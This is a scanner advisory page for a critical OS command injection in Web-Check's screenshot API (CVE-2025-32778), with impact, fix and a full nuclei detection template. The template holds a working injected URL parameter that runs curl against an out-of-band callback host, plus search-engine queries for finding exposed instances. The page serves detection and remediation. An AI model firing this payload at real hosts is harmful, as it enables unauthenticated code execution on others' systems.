Web-Check < 2.0.1 Screenshot API - OS Command Injection

criticalseverity

9.8CVSS score

19.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Lissy93/web-check contains a command injection caused by unsanitized user input in the screenshot API, letting attackers execute arbitrary system commands, exploit requires sending crafted url parameters.

Impact

Attackers can execute arbitrary commands on the host, potentially leading to remote code execution or system compromise.

Fix

Upgrade Web-Check to version 2.0.1 or later. The fix replaces exec() with execFile(), which avoids shell interpretation and properly isolates command arguments.

How to confirm it

Send: GET /
Positive when: contains "<title>Web Check"
Send: GET /api/screenshot?url=http://x%22%3bcurl${IFS}http://{{interactsh-url}}%3b%23
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2025-32778 -u <target>

The full check

id: CVE-2025-32778

info:
  name: Web-Check < 2.0.1 Screenshot API - OS Command Injection
  author: gugacyber,tx1ee
  severity: critical
  description: |
    Lissy93/web-check contains a command injection caused by unsanitized user input in the screenshot API, letting attackers execute arbitrary system commands, exploit requires sending crafted url parameters.
  impact: |
    Attackers can execute arbitrary commands on the host, potentially leading to remote code execution or system compromise.
  remediation: |
    Upgrade Web-Check to version 2.0.1 or later. The fix replaces exec() with execFile(),
    which avoids shell interpretation and properly isolates command arguments.
  reference:
    - https://github.com/Lissy93/web-check/security/advisories/GHSA-jqhf-j4w8-4grr
    - https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32778
    - https://osv.dev/vulnerability/CVE-2025-32778
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-32778
    cwe-id: CWE-78
    epss-score: 0.19913
    epss-percentile: 0.97449
  metadata:
    verified: true
    max-request: 2
    vendor: lissy93
    product: web-check
    shodan-query: http.title:"Web-Check"
    fofa-query: title="Web-Check"
  tags: cve,cve2025,web-check,rce,injection,unauth,oast,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - "<title>Web Check"
        part: body
        case-insensitive: true
        internal: true

  - raw:
      - |
        GET /api/screenshot?url=http://x%22%3bcurl${IFS}http://{{interactsh-url}}%3b%23 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from